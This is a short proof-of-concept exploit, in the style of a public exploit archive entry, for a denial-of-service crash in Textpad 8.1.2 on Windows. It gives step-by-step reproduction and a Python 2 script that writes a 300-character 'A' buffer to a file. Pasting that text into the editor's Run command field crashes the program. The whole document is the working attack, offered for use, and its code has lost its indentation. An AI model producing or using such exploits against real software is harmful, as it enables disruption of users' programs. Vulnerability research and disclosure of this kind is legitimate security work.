Textpad 8.1.2 Denial Of Service

`# Exploit Title: Textpad 8.1.2 - Denial Of Service (PoC)  
# Discovery by: Shubham Singh  
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]  
# Youtube Channel: www.youtube.com/c/Pentestingwithspirit   
# Discovey Date: 24-08-2018  
# Homepage: https://textpad.com  
# Software Link:  
# 1. For x86: https://textpad.com/download/v81/win32/txpeng812-32.zip  
# 2. For x86_64: https://textpad.com/download/v81/x64/txpeng812-64.zip  
# Tested Version: 8.1.2  
# Tested on OS: Windows 7 Ultimate 64 bit  
# Steps to Reproduce:  
# 1. Run the python exploit script, it will create a new file with the name "exploit.txt".  
# 2. Just copy the text inside "exploit.txt" and start the program.  
# 3. In the new window click "Tools" > "Run...". Now paste the content of "exploit.txt".  
# 4. Into the fields:"Command". Click "OK" and you will see a crash.  
  
#!/usr/bin/python  
  
buffer = "A" * 300  
  
payload = buffer  
try:  
f=open("exploit.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`